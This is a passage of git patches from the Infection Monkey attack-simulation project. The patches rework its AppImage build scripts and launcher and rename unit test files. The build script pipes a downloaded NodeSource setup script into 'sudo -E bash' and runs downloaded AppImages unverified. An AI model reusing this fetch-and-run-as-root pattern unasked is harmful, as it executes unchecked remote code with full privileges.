--- /dev/null +++ b/deployment_scripts/appimage/.gitignore @@ -0,0 +1 @@ +*.AppImage diff --git a/deployment_scripts/appimage/AppRun b/deployment_scripts/appimage/AppRun new file mode 100755 index 00000000000..322f4a5d9d3 --- /dev/null +++ b/deployment_scripts/appimage/AppRun @@ -0,0 +1,41 @@ +#! /bin/bash + +# Export APPRUN if running from an extracted image +self="$(readlink -f -- $0)" +here="${self%/*}" +APPDIR="${APPDIR:-${here}}" + +# Export TCl/Tk +export TCL_LIBRARY="${APPDIR}/usr/share/tcltk/tcl8.4" +export TK_LIBRARY="${APPDIR}/usr/share/tcltk/tk8.4" +export TKPATH="${TK_LIBRARY}" + +# Export SSL certificate +export SSL_CERT_FILE="${APPDIR}/opt/_internal/certs.pem" + +# Call the entry point +for opt in "$@" +do + [ "${opt:0:1}" != "-" ] && break + if [[ "${opt}" =~ "I" ]] || [[ "${opt}" =~ "E" ]]; then + # Environment variables are disabled ($PYTHONHOME). Let's run in a safe + # mode from the raw Python binary inside the AppImage + "$APPDIR/opt/python3.7/bin/python3.7" "$@" + exit "$?" + fi +done + +# Get the executable name, i.e. the AppImage or the python binary if running from an +# extracted image +executable="${APPDIR}/opt/python3.7/bin/python3.7" +if [[ "${ARGV0}" =~ "/" ]]; then + executable="$(cd $(dirname ${ARGV0}) && pwd)/$(basename ${ARGV0})" +elif [[ "${ARGV0}" != "" ]]; then + executable=$(which "${ARGV0}") +fi + +# Wrap the call to Python in order to mimic a call from the source +# executable ($ARGV0), but potentially located outside of the Python +# install ($PYTHONHOME) +(PYTHONHOME="${APPDIR}/opt/python3.7" exec "/bin/bash" "${APPDIR}/usr/src/monkey_island/linux/run_appimage.sh") +exit "$?" diff --git a/deployment_scripts/appimage/README.md b/deployment_scripts/appimage/README.md index 37321378fdb..7a76a72750b 100644 --- a/deployment_scripts/appimage/README.md +++ b/deployment_scripts/appimage/README.md @@ -18,10 +18,9 @@ NOTE: This script is intended to be run from a clean VM. You can also manually remove build artifacts by removing the following files and directories. - $HOME/.monkey_island (optional) -- $HOME/monkey-appdir +- $HOME/squashfs-root - $HOME/git/monkey -- $HOME/appimage/appimage-builder-cache -- $HOME/appimage/"Monkey\ Island-\*-x86-64.Appimage" +- $HOME/appimage/Infection_Monkey-x86_64.AppImage After removing the above files and directories, you can again execute `bash build_appimage.sh`. diff --git a/deployment_scripts/appimage/build_appimage.sh b/deployment_scripts/appimage/build_appimage.sh index a1c3848010a..81c08629a83 100755 --- a/deployment_scripts/appimage/build_appimage.sh +++ b/deployment_scripts/appimage/build_appimage.sh @@ -1,7 +1,7 @@ #!/bin/bash -python_cmd="python3.7" -APPDIR="$HOME/monkey-appdir" +APPDIR="$HOME/squashfs-root" +CONFIG_URL="https://raw.githubusercontent.com/guardicore/monkey/develop/deployment_scripts/config" INSTALL_DIR="$APPDIR/usr/src" GIT=$HOME/git @@ -33,16 +33,18 @@ log_message() { echo -e "DEPLOYMENT SCRIPT: $1" } -setup_appdir() { +setup_python_37_appdir() { + PYTHON_APPIMAGE_URL="https://github.com/niess/python-appimage/releases/download/python3.7/python3.7.9-cp37-cp37m-manylinux1_x86_64.AppImage" + PYTHON_APPIMAGE="python3.7.9_x86_64.AppImage" rm -rf "$APPDIR" || true - mkdir -p "$INSTALL_DIR" -} + curl -L -o "$PYTHON_APPIMAGE" "$PYTHON_APPIMAGE_URL" -install_pip_37() { - pip_url=https://bootstrap.pypa.io/get-pip.py - curl $pip_url -o get-pip.py - ${python_cmd} get-pip.py - rm get-pip.py + chmod u+x "$PYTHON_APPIMAGE" + + ./"$PYTHON_APPIMAGE" --appimage-extract + rm "$PYTHON_APPIMAGE" + mv ./squashfs-root "$APPDIR" + mkdir -p "$INSTALL_DIR" } install_nodejs() { @@ -63,21 +65,14 @@ install_build_prereqs() { #monkey island prereqs sudo apt install -y curl libcurl4 python3.7 python3.7-dev openssl git build-essential moreutils - install_pip_37 install_nodejs } -install_appimage_builder() { - sudo pip3 install appimage-builder - - install_appimage_tool -} - install_appimage_tool() { APP_TOOL_BIN=$HOME/bin/appimagetool APP_TOOL_URL=https://github.com/AppImage/AppImageKit/releases/download/12/appimagetool-x86_64.AppImage - mkdir "$HOME"/bin + mkdir -p "$HOME"/bin curl -L -o "$APP_TOOL_BIN" "$APP_TOOL_URL" chmod u+x "$APP_TOOL_BIN" @@ -88,7 +83,7 @@ load_monkey_binary_config() { tmpfile=$(mktemp) log_message "downloading configuration" - curl -L -s -o "$tmpfile" "$config_url" + curl -L -s -o "$tmpfile" "$CONFIG_URL" log_message "loading configuration" source "$tmpfile" @@ -103,14 +98,14 @@ clone_monkey_repo() { branch=${2:-"develop"} git clone --single-branch --recurse-submodules -b "$branch" "${MONKEY_GIT_URL}" "${REPO_MONKEY_HOME}" 2>&1 || handle_error - chmod 774 -R "${MONKEY_HOME}" + chmod 774 -R "${REPO_MONKEY_HOME}" } copy_monkey_island_to_appdir() { cp "$REPO_MONKEY_SRC"/__init__.py "$INSTALL_DIR" cp "$REPO_MONKEY_SRC"/monkey_island.py "$INSTALL_DIR" - cp -r "$REPO_MONKEY_SRC"/common "$INSTALL_DIR" - cp -r "$REPO_MONKEY_SRC"/monkey_island "$INSTALL_DIR" + cp -r "$REPO_MONKEY_SRC"/common "$INSTALL_DIR/" + cp -r "$REPO_MONKEY_SRC"/monkey_island "$INSTALL_DIR/" cp ./run_appimage.sh "$INSTALL_DIR"/monkey_island/linux/ cp ./island_logger_config.json "$INSTALL_DIR"/ cp ./server_config.json.standard "$INSTALL_DIR"/monkey_island/cc/ @@ -128,7 +123,7 @@ install_monkey_island_python_dependencies() { # dependencies and should not be installed as a runtime requirement. cat "$requirements_island" | grep -Piv "virtualenv|pyinstaller" | sponge "$requirements_island" - ${python_cmd} -m pip install -r "${requirements_island}" --ignore-installed --prefix /usr --root="$APPDIR" || handle_error + "$APPDIR"/AppRun -m pip install -r "${requirements_island}" --ignore-installed || handle_error } download_monkey_agent_binaries() { @@ -170,22 +165,7 @@ build_frontend() { build_appimage() { log_message "Building AppImage" - appimage-builder --recipe monkey_island_builder.yml --log DEBUG --skip-appimage - - # There is a bug or unwanted behavior in appimage-builder that causes issues - # if 32-bit binaries are present in the appimage. To work around this, we: - # 1. Build the AppDir with appimage-builder and skip building the appimage - # 2. Add the 32-bit binaries to the AppDir - # 3. Build the AppImage with appimage-builder from the already-built AppDir - # - # Note that appimage-builder replaces the interpreter on the monkey agent binaries - # when building the AppDir. This is unwanted as the monkey agents may execute in - # environments where the AppImage isn't loaded. - # - # See https://github.com/AppImageCrafters/appimage-builder/issues/93 for more info. - download_monkey_agent_binaries - - appimage-builder --recipe monkey_island_builder.yml --log DEBUG --skip-build + ARCH="x86_64" appimagetool "$APPDIR" } if is_root; then @@ -199,18 +179,18 @@ Run \`sudo -v\`, enter your password, and then re-run this script." exit 1 fi -config_url="https://raw.githubusercontent.com/guardicore/monkey/develop/deployment_scripts/config" - -setup_appdir install_build_prereqs -install_appimage_builder +install_appimage_tool + +setup_python_37_appdir load_monkey_binary_config clone_monkey_repo "$@" copy_monkey_island_to_appdir +download_monkey_agent_binaries # Create folders log_message "Creating island dirs under $ISLAND_PATH" @@ -224,8 +204,16 @@ generate_ssl_cert build_frontend +unlink "$APPDIR"/python.png mkdir -p "$APPDIR"/usr/share/icons cp "$REPO_MONKEY_SRC"/monkey_island/cc/ui/src/images/monkey-icon.svg "$APPDIR"/usr/share/icons/monkey-icon.svg +ln -s "$APPDIR"/usr/share/icons/monkey-icon.svg "$APPDIR"/monkey-icon.svg + +unlink "$APPDIR"/python3.7.9.desktop +cp ./monkey-island.desktop "$APPDIR"/usr/share/applications +ln -s "$APPDIR"/usr/share/applications/monkey-island.desktop "$APPDIR"/monkey-island.desktop + +cp ./AppRun "$APPDIR" build_appimage diff --git a/deployment_scripts/appimage/monkey-island.desktop b/deployment_scripts/appimage/monkey-island.desktop new file mode 100644 index 00000000000..07c01ea082f --- /dev/null +++ b/deployment_scripts/appimage/monkey-island.desktop @@ -0,0 +1,8 @@ +[Desktop Entry] +Type=Application +Name=Infection Monkey +Exec=bash +Comment=Infection Monkey FILL ME IN +Icon=monkey-icon +Categories=Development; +Terminal=true From 9f74127c5061ad0806042f89691c39f77a05eaaf Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 12 Apr 2021 12:32:37 -0400 Subject: [PATCH 0200/1360] build: remove unnecessary python packages from appimage build --- deployment_scripts/appimage/build_appimage.sh | 6 +++--- deployment_scripts/appimage/run_appimage.sh | 14 ++------------ 2 files changed, 5 insertions(+), 15 deletions(-) diff --git a/deployment_scripts/appimage/build_appimage.sh b/deployment_scripts/appimage/build_appimage.sh index 81c08629a83..2aeb47b53d2 100755 --- a/deployment_scripts/appimage/build_appimage.sh +++ b/deployment_scripts/appimage/build_appimage.sh @@ -61,10 +61,10 @@ install_build_prereqs() { sudo apt upgrade # appimage-builder prereqs - sudo apt install -y python3 python3-pip python3-setuptools patchelf desktop-file-utils libgdk-pixbuf2.0-dev fakeroot strace + sudo apt install -y patchelf desktop-file-utils libgdk-pixbuf2.0-dev fakeroot strace - #monkey island prereqs - sudo apt install -y curl libcurl4 python3.7 python3.7-dev openssl git build-essential moreutils + # monkey island prereqs + sudo apt install -y curl libcurl4 openssl git build-essential moreutils install_nodejs } diff --git a/deployment_scripts/appimage/run_appimage.sh b/deployment_scripts/appimage/run_appimage.sh index 7738301cd98..a903bc03477 100644 --- a/deployment_scripts/appimage/run_appimage.sh +++ b/deployment_scripts/appimage/run_appimage.sh @@ -1,5 +1,6 @@ #!/bin/bash +PYTHON_CMD="$APPDIR/opt/python3.7/bin/python3.7" DOT_MONKEY=$HOME/.monkey_island/ configure_default_logging() { @@ -16,17 +17,6 @@ configure_default_server() { -# Detecting command that calls python 3.7 -python_cmd="" -if [[ $(python --version 2>&1) == *"Python 3.7"* ]]; then - python_cmd="python" -fi -if [[ $(python37 --version 2>&1) == *"Python 3.7"* ]]; then - python_cmd="python37" -fi -if [[ $(python3.7 --version 2>&1) == *"Python 3.7"* ]]; then - python_cmd="python3.7" -fi mkdir --mode=0700 --parents $DOT_MONKEY @@ -38,4 +28,4 @@ configure_default_server cd $APPDIR/usr/src ./monkey_island/bin/mongodb/bin/mongod --dbpath $DB_DIR & -${python_cmd} ./monkey_island.py --server-config $DOT_MONKEY/server_config.json --logger-config $DOT_MONKEY/island_logger_config.json +${PYTHON_CMD} ./monkey_island.py --server-config $DOT_MONKEY/server_config.json --logger-config $DOT_MONKEY/island_logger_config.json From 38a9cedeb281f6aae66199dc8ed3a121191c6244 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 12 Apr 2021 12:34:36 -0400 Subject: [PATCH 0201/1360] build: Remove unnecessary mkdir in build_appimage.sh --- deployment_scripts/appimage/build_appimage.sh | 4 ---- 1 file changed, 4 deletions(-) diff --git a/deployment_scripts/appimage/build_appimage.sh b/deployment_scripts/appimage/build_appimage.sh index 2aeb47b53d2..5983808f7fd 100755 --- a/deployment_scripts/appimage/build_appimage.sh +++ b/deployment_scripts/appimage/build_appimage.sh @@ -192,10 +192,6 @@ clone_monkey_repo "$@" copy_monkey_island_to_appdir download_monkey_agent_binaries -# Create folders -log_message "Creating island dirs under $ISLAND_PATH" -mkdir -p "${MONGO_PATH}" || handle_error - install_monkey_island_python_dependencies install_mongodb From 312c98c784ea948a5430d7eeed976ce92e0b7f61 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 12 Apr 2021 12:42:18 -0400 Subject: [PATCH 0202/1360] build: Organize appdir-specific tasks in setup_appdir() --- deployment_scripts/appimage/build_appimage.sh | 87 +++++++++++-------- 1 file changed, 49 insertions(+), 38 deletions(-) diff --git a/deployment_scripts/appimage/build_appimage.sh b/deployment_scripts/appimage/build_appimage.sh index 5983808f7fd..0714e99cb68 100755 --- a/deployment_scripts/appimage/build_appimage.sh +++ b/deployment_scripts/appimage/build_appimage.sh @@ -33,20 +33,6 @@ log_message() { echo -e "DEPLOYMENT SCRIPT: $1" } -setup_python_37_appdir() { - PYTHON_APPIMAGE_URL="https://github.com/niess/python-appimage/releases/download/python3.7/python3.7.9-cp37-cp37m-manylinux1_x86_64.AppImage" - PYTHON_APPIMAGE="python3.7.9_x86_64.AppImage" - rm -rf "$APPDIR" || true - curl -L -o "$PYTHON_APPIMAGE" "$PYTHON_APPIMAGE_URL" - - chmod u+x "$PYTHON_APPIMAGE" - - ./"$PYTHON_APPIMAGE" --appimage-extract - rm "$PYTHON_APPIMAGE" - mv ./squashfs-root "$APPDIR" - mkdir -p "$INSTALL_DIR" -} - install_nodejs() { NODE_SRC=https://deb.nodesource.com/setup_12.x @@ -101,6 +87,37 @@ clone_monkey_repo() { chmod 774 -R "${REPO_MONKEY_HOME}" } +setup_appdir() { + setup_python_37_appdir + + copy_monkey_island_to_appdir + download_monkey_agent_binaries + + install_monkey_island_python_dependencies + install_mongodb + + generate_ssl_cert + build_frontend + + add_monkey_icon + add_desktop_file + add_apprun +} + +setup_python_37_appdir() { + PYTHON_APPIMAGE_URL="https://github.com/niess/python-appimage/releases/download/python3.7/python3.7.9-cp37-cp37m-manylinux1_x86_64.AppImage" + PYTHON_APPIMAGE="python3.7.9_x86_64.AppImage" + rm -rf "$APPDIR" || true + curl -L -o "$PYTHON_APPIMAGE" "$PYTHON_APPIMAGE_URL" + + chmod u+x "$PYTHON_APPIMAGE" + + ./"$PYTHON_APPIMAGE" --appimage-extract + rm "$PYTHON_APPIMAGE" + mv ./squashfs-root "$APPDIR" + mkdir -p "$INSTALL_DIR" +} + copy_monkey_island_to_appdir() { cp "$REPO_MONKEY_SRC"/__init__.py "$INSTALL_DIR" cp "$REPO_MONKEY_SRC"/monkey_island.py "$INSTALL_DIR" @@ -163,6 +180,23 @@ build_frontend() { popd || handle_error } +add_monkey_icon() { + unlink "$APPDIR"/python.png + mkdir -p "$APPDIR"/usr/share/icons + cp "$REPO_MONKEY_SRC"/monkey_island/cc/ui/src/images/monkey-icon.svg "$APPDIR"/usr/share/icons/monkey-icon.svg + ln -s "$APPDIR"/usr/share/icons/monkey-icon.svg "$APPDIR"/monkey-icon.svg +} + +add_desktop_file() { + unlink "$APPDIR"/python3.7.9.desktop + cp ./monkey-island.desktop "$APPDIR"/usr/share/applications + ln -s "$APPDIR"/usr/share/applications/monkey-island.desktop "$APPDIR"/monkey-island.desktop +} + +add_apprun() { + cp ./AppRun "$APPDIR" +} + build_appimage() { log_message "Building AppImage" ARCH="x86_64" appimagetool "$APPDIR" @@ -183,33 +217,10 @@ fi install_build_prereqs install_appimage_tool -setup_python_37_appdir - - load_monkey_binary_config clone_monkey_repo "$@" -copy_monkey_island_to_appdir -download_monkey_agent_binaries - -install_monkey_island_python_dependencies - -install_mongodb - -generate_ssl_cert - -build_frontend - -unlink "$APPDIR"/python.png -mkdir -p "$APPDIR"/usr/share/icons -cp "$REPO_MONKEY_SRC"/monkey_island/cc/ui/src/images/monkey-icon.svg "$APPDIR"/usr/share/icons/monkey-icon.svg -ln -s "$APPDIR"/usr/share/icons/monkey-icon.svg "$APPDIR"/monkey-icon.svg - -unlink "$APPDIR"/python3.7.9.desktop -cp ./monkey-island.desktop "$APPDIR"/usr/share/applications -ln -s "$APPDIR"/usr/share/applications/monkey-island.desktop "$APPDIR"/monkey-island.desktop - -cp ./AppRun "$APPDIR" +setup_appdir build_appimage From 9d8fc489c998e376d80aaf205a8471a81f79f376 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 12 Apr 2021 13:11:16 -0400 Subject: [PATCH 0203/1360] build: Move some constants to top of build_appimage.sh --- deployment_scripts/appimage/build_appimage.sh | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/deployment_scripts/appimage/build_appimage.sh b/deployment_scripts/appimage/build_appimage.sh index 0714e99cb68..4603b27bd52 100755 --- a/deployment_scripts/appimage/build_appimage.sh +++ b/deployment_scripts/appimage/build_appimage.sh @@ -13,6 +13,10 @@ ISLAND_PATH="$INSTALL_DIR/monkey_island" MONGO_PATH="$ISLAND_PATH/bin/mongodb" ISLAND_BINARIES_PATH="$ISLAND_PATH/cc/binaries" +NODE_SRC=https://deb.nodesource.com/setup_12.x +APP_TOOL_URL=https://github.com/AppImage/AppImageKit/releases/download/12/appimagetool-x86_64.AppImage +PYTHON_APPIMAGE_URL="https://github.com/niess/python-appimage/releases/download/python3.7/python3.7.9-cp37-cp37m-manylinux1_x86_64.AppImage" + is_root() { return "$(id -u)" } @@ -34,8 +38,6 @@ log_message() { } install_nodejs() { - NODE_SRC=https://deb.nodesource.com/setup_12.x - log_message "Installing nodejs" curl -sL $NODE_SRC | sudo -E bash - @@ -56,7 +58,6 @@ install_build_prereqs() { install_appimage_tool() { APP_TOOL_BIN=$HOME/bin/appimagetool - APP_TOOL_URL=https://github.com/AppImage/AppImageKit/releases/download/12/appimagetool-x86_64.AppImage mkdir -p "$HOME"/bin curl -L -o "$APP_TOOL_BIN" "$APP_TOOL_URL" @@ -105,7 +106,6 @@ setup_appdir() { } setup_python_37_appdir() { - PYTHON_APPIMAGE_URL="https://github.com/niess/python-appimage/releases/download/python3.7/python3.7.9-cp37-cp37m-manylinux1_x86_64.AppImage" PYTHON_APPIMAGE="python3.7.9_x86_64.AppImage" rm -rf "$APPDIR" || true curl -L -o "$PYTHON_APPIMAGE" "$PYTHON_APPIMAGE_URL" From a58f310e6130e7c51e7c87c7d0152057cdf43262 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 12 Apr 2021 14:29:40 -0400 Subject: [PATCH 0204/1360] build: Address shellcheck warnings in run_appimage.sh --- deployment_scripts/appimage/run_appimage.sh | 25 +++++++++++---------- 1 file changed, 13 insertions(+), 12 deletions(-) diff --git a/deployment_scripts/appimage/run_appimage.sh b/deployment_scripts/appimage/run_appimage.sh index a903bc03477..d7945765a95 100644 --- a/deployment_scripts/appimage/run_appimage.sh +++ b/deployment_scripts/appimage/run_appimage.sh @@ -1,31 +1,32 @@ #!/bin/bash -PYTHON_CMD="$APPDIR/opt/python3.7/bin/python3.7" -DOT_MONKEY=$HOME/.monkey_island/ +PYTHON_CMD="$APPDIR"/opt/python3.7/bin/python3.7 +DOT_MONKEY="$HOME"/.monkey_island/ configure_default_logging() { - if [ ! -f $DOT_MONKEY/island_logger_config.json ]; then - cp $APPDIR/usr/src/island_logger_config.json $DOT_MONKEY + if [ ! -f "$DOT_MONKEY"/island_logger_config.json ]; then + cp "$APPDIR"/usr/src/island_logger_config.json "$DOT_MONKEY" fi } configure_default_server() { - if [ ! -f $DOT_MONKEY/server_config.json ]; then - cp $APPDIR/usr/src/monkey_island/cc/server_config.json.standard $DOT_MONKEY/server_config.json + if [ ! -f "$DOT_MONKEY"/server_config.json ]; then + cp "$APPDIR"/usr/src/monkey_island/cc/server_config.json.standard "$DOT_MONKEY"/server_config.json fi } -mkdir --mode=0700 --parents $DOT_MONKEY +# shellcheck disable=SC2174 +mkdir --mode=0700 --parents "$DOT_MONKEY" -DB_DIR=$DOT_MONKEY/db -mkdir -p $DB_DIR +DB_DIR="$DOT_MONKEY"/db +mkdir --parents "$DB_DIR" configure_default_logging configure_default_server -cd $APPDIR/usr/src -./monkey_island/bin/mongodb/bin/mongod --dbpath $DB_DIR & -${PYTHON_CMD} ./monkey_island.py --server-config $DOT_MONKEY/server_config.json --logger-config $DOT_MONKEY/island_logger_config.json +cd "$APPDIR"/usr/src || exit 1 +./monkey_island/bin/mongodb/bin/mongod --dbpath "$DB_DIR" & +${PYTHON_CMD} ./monkey_island.py --server-config "$DOT_MONKEY"/server_config.json --logger-config "$DOT_MONKEY"/island_logger_config.json From 6e9212780781d54629731d6a0c4f79dedbc6fcbd Mon Sep 17 00:00:00 2001 From: Shreya Date: Fri, 9 Apr 2021 13:09:27 +0530 Subject: [PATCH 0205/1360] Rename unit test files from *_test.py to test_*.py --- .../tools/{payload_parsing_test.py => test_payload_parsing.py} | 0 ...ictim_host_generator_test.py => test_victim_host_generator.py} | 0 .../utils/plugins/{plugin_test.py => test_plugin.py} | 0 .../monkey_island/cc/resources/test/{log_test.py => test_log.py} | 0 .../cc/resources/test/{monkey_test.py => test_monkey.py} | 0 .../cc/resources/test/{telemetry_test.py => test_telemetry.py} | 0 .../cc/resources/{bootloader_test.py => test_bootloader.py} | 0 .../cc/services/{bootloader_test.py => test_bootloader.py} | 0 .../services/{representations_test.py => test_representations.py} | 0 .../services/utils/{node_states_test.py => test_node_states.py} | 0 10 files changed, 0 insertions(+), 0 deletions(-) rename monkey/infection_monkey/exploit/tools/{payload_parsing_test.py => test_payload_parsing.py} (100%) rename monkey/infection_monkey/model/{victim_host_generator_test.py => test_victim_host_generator.py} (100%) rename monkey/infection_monkey/utils/plugins/{plugin_test.py => test_plugin.py} (100%) rename monkey/monkey_island/cc/resources/test/{log_test.py => test_log.py} (100%) rename monkey/monkey_island/cc/resources/test/{monkey_test.py => test_monkey.py} (100%) rename monkey/monkey_island/cc/resources/test/{telemetry_test.py => test_telemetry.py} (100%) rename monkey/monkey_island/cc/resources/{bootloader_test.py => test_bootloader.py} (100%) rename monkey/monkey_island/cc/services/{bootloader_test.py => test_bootloader.py} (100%) rename monkey/monkey_island/cc/services/{representations_test.py => test_representations.py} (100%) rename monkey/monkey_island/cc/services/utils/{node_states_test.py => test_node_states.py} (100%) diff --git a/monkey/infection_monkey/exploit/tools/payload_parsing_test.py b/monkey/infection_monkey/exploit/tools/test_payload_parsing.py similarity index 100% rename from monkey/infection_monkey/exploit/tools/payload_parsing_test.py rename to monkey/infection_monkey/exploit/tools/test_payload_parsing.py diff --git a/monkey/infection_monkey/model/victim_host_generator_test.py b/monkey/infection_monkey/model/test_victim_host_generator.py similarity index 100% rename from monkey/infection_monkey/model/victim_host_generator_test.py rename to monkey/infection_monkey/model/test_victim_host_generator.py diff --git a/monkey/infection_monkey/utils/plugins/plugin_test.py b/monkey/infection_monkey/utils/plugins/test_plugin.py similarity index 100% rename from monkey/infection_monkey/utils/plugins/plugin_test.py rename to monkey/infection_monkey/utils/plugins/test_plugin.py diff --git a/monkey/monkey_island/cc/resources/test/log_test.py b/monkey/monkey_island/cc/resources/test/test_log.py similarity index 100% rename from monkey/monkey_island/cc/resources/test/log_test.py rename to monkey/monkey_island/cc/resources/test/test_log.py diff --git a/monkey/monkey_island/cc/resources/test/monkey_test.py b/monkey/monkey_island/cc/resources/test/test_monkey.py similarity index 100% rename from monkey/monkey_island/cc/resources/test/monkey_test.py rename to monkey/monkey_island/cc/resources/test/test_monkey.py diff --git a/monkey/monkey_island/cc/resources/test/telemetry_test.py b/monkey/monkey_island/cc/resources/test/test_telemetry.py similarity index 100% rename from monkey/monkey_island/cc/resources/test/telemetry_test.py rename to monkey/monkey_island/cc/resources/test/test_telemetry.py diff --git a/monkey/monkey_island/cc/resources/bootloader_test.py b/monkey/monkey_island/cc/resources/test_bootloader.py similarity index 100% rename from monkey/monkey_island/cc/resources/bootloader_test.py rename to monkey/monkey_island/cc/resources/test_bootloader.py diff --git a/monkey/monkey_island/cc/services/bootloader_test.py b/monkey/monkey_island/cc/services/test_bootloader.py similarity index 100% rename from monkey/monkey_island/cc/services/bootloader_test.py rename to monkey/monkey_island/cc/services/test_bootloader.py diff --git a/monkey/monkey_island/cc/services/representations_test.py b/monkey/monkey_island/cc/services/test_representations.py similarity index 100% rename from monkey/monkey_island/cc/services/representations_test.py rename to monkey/monkey_island/cc/services/test_representations.py diff --git a/monkey/monkey_island/cc/services/utils/node_states_test.py b/monkey/monkey_island/cc/services/utils/test_node_states.py similarity index 100% rename from monkey/monkey_island/cc/services/utils/node_states_test.py rename to monkey/monkey_island/cc/services/utils/test_node_states.py From 5469c7cc41d18de0ebb3abc0d01901583f74340b Mon Sep 17 00:00:00 2001 From: Shreya Date: Fri, 9 Apr 2021 14:25:44 +0530 Subject: [PATCH 0206/1360] Match unit tests' class names and file names Renamed class/file name depending on which was more applicable --- monkey/common/cloud/aws/test_aws_service.py | 2 +- ...est_payload_parsing.py => test_payload.py} | 0 .../model/test_victim_host_generator.py | 2 +- .../utils/plugins/pluginTests/BadImport.py | 2 +- .../utils/plugins/pluginTests/BadInit.py | 4 +-- .../utils/plugins/pluginTests/ComboFile.py | 6 ++--- .../plugins/pluginTests/PluginTestClass.py | 4 +-- .../plugins/pluginTests/PluginWorking.py | 4 +-- .../utils/plugins/test_plugin.py | 26 +++++++++---------- .../{test__init__.py => test_environment.py} | 0 .../cc/resources/test/test_log.py | 2 +- .../cc/resources/test/test_monkey.py | 2 +- .../cc/resources/test/test_telemetry.py | 2 +- ...edge.py => test_displayed_edge_service.py} | 0 .../{test_edge.py => test_edge_service.py} | 0 ... test_environment_telemetry_processing.py} | 0 ...otloader.py => test_bootloader_service.py} | 0 .../cc/services/test_representations.py | 2 +- .../cc/services/utils/test_node_states.py | 2 +- 19 files changed, 30 insertions(+), 30 deletions(-) rename monkey/infection_monkey/exploit/tools/{test_payload_parsing.py => test_payload.py} (100%) rename monkey/monkey_island/cc/environment/{test__init__.py => test_environment.py} (100%) rename monkey/monkey_island/cc/services/edge/{test_displayed_edge.py => test_displayed_edge_service.py} (100%) rename monkey/monkey_island/cc/services/edge/{test_edge.py => test_edge_service.py} (100%) rename monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/{test_environment.py => test_environment_telemetry_processing.py} (100%) rename monkey/monkey_island/cc/services/{test_bootloader.py => test_bootloader_service.py} (100%) diff --git a/monkey/common/cloud/aws/test_aws_service.py b/monkey/common/cloud/aws/test_aws_service.py index 8b17d707dc3..95fa6329b56 100644 --- a/monkey/common/cloud/aws/test_aws_service.py +++ b/monkey/common/cloud/aws/test_aws_service.py @@ -6,7 +6,7 @@ __author__ = "shay.nehmad" -class TestFilterInstanceDataFromAwsResponse(TestCase): +class TestAwsService(TestCase): def test_filter_instance_data_from_aws_response(self): json_response_full = """ { diff --git a/monkey/infection_monkey/exploit/tools/test_payload_parsing.py b/monkey/infection_monkey/exploit/tools/test_payload.py similarity index 100% rename from monkey/infection_monkey/exploit/tools/test_payload_parsing.py rename to monkey/infection_monkey/exploit/tools/test_payload.py diff --git a/monkey/infection_monkey/model/test_victim_host_generator.py b/monkey/infection_monkey/model/test_victim_host_generator.py index 26ca9935241..c60992fee7d 100644 --- a/monkey/infection_monkey/model/test_victim_host_generator.py +++ b/monkey/infection_monkey/model/test_victim_host_generator.py @@ -4,7 +4,7 @@ from infection_monkey.model.victim_host_generator import VictimHostGenerator -class VictimHostGeneratorTester(TestCase): +class TestVictimHostGenerator(TestCase): def setUp(self): self.cidr_range = CidrRange("10.0.0.0/28", False) # this gives us 15 hosts self.local_host_range = SingleIpRange("localhost") diff --git a/monkey/infection_monkey/utils/plugins/pluginTests/BadImport.py b/monkey/infection_monkey/utils/plugins/pluginTests/BadImport.py index ffd3ebb2df7..41e8c13872b 100644 --- a/monkey/infection_monkey/utils/plugins/pluginTests/BadImport.py +++ b/monkey/infection_monkey/utils/plugins/pluginTests/BadImport.py @@ -1,4 +1,4 @@ -from infection_monkey.utils.plugins.pluginTests.PluginTestClass import TestPlugin # noqa: F401 +from infection_monkey.utils.plugins.pluginTests.PluginTestClass import PluginTester # noqa: F401 class SomeDummyPlugin: diff --git a/monkey/infection_monkey/utils/plugins/pluginTests/BadInit.py b/monkey/infection_monkey/utils/plugins/pluginTests/BadInit.py index 7e4c9394068..61c1df7ad1f 100644 --- a/monkey/infection_monkey/utils/plugins/pluginTests/BadInit.py +++ b/monkey/infection_monkey/utils/plugins/pluginTests/BadInit.py @@ -1,6 +1,6 @@ -from infection_monkey.utils.plugins.pluginTests.PluginTestClass import TestPlugin +from infection_monkey.utils.plugins.pluginTests.PluginTestClass import PluginTester -class BadPluginInit(TestPlugin): +class BadPluginInit(PluginTester): def __init__(self): raise Exception("TestException") diff --git a/monkey/infection_monkey/utils/plugins/pluginTests/ComboFile.py b/monkey/infection_monkey/utils/plugins/pluginTests/ComboFile.py index 09abae31450..6f33142cc5d 100644 --- a/monkey/infection_monkey/utils/plugins/pluginTests/ComboFile.py +++ b/monkey/infection_monkey/utils/plugins/pluginTests/ComboFile.py @@ -1,14 +1,14 @@ -from infection_monkey.utils.plugins.pluginTests.PluginTestClass import TestPlugin +from infection_monkey.utils.plugins.pluginTests.PluginTestClass import PluginTester class NoInheritance: pass -class BadInit(TestPlugin): +class BadInit(PluginTester): def __init__(self): raise Exception("TestException") -class ProperClass(TestPlugin): +class ProperClass(PluginTester): pass diff --git a/monkey/infection_monkey/utils/plugins/pluginTests/PluginTestClass.py b/monkey/infection_monkey/utils/plugins/pluginTests/PluginTestClass.py index 310cf7f2cec..4de543fb0db 100644 --- a/monkey/infection_monkey/utils/plugins/pluginTests/PluginTestClass.py +++ b/monkey/infection_monkey/utils/plugins/pluginTests/PluginTestClass.py @@ -2,7 +2,7 @@ from infection_monkey.utils.plugins.plugin import Plugin -class TestPlugin(Plugin): +class PluginTester(Plugin): classes_to_load = [] @staticmethod @@ -11,7 +11,7 @@ def should_run(class_name): Decides if post breach action is enabled in config :return: True if it needs to be ran, false otherwise """ - return class_name in TestPlugin.classes_to_load + return class_name in PluginTester.classes_to_load @staticmethod def base_package_file(): diff --git a/monkey/infection_monkey/utils/plugins/pluginTests/PluginWorking.py b/monkey/infection_monkey/utils/plugins/pluginTests/PluginWorking.py index a3fe237b66d..27da245f2a4 100644 --- a/monkey/infection_monkey/utils/plugins/pluginTests/PluginWorking.py +++ b/monkey/infection_monkey/utils/plugins/pluginTests/PluginWorking.py @@ -1,5 +1,5 @@ -from infection_monkey.utils.plugins.pluginTests.PluginTestClass import TestPlugin +from 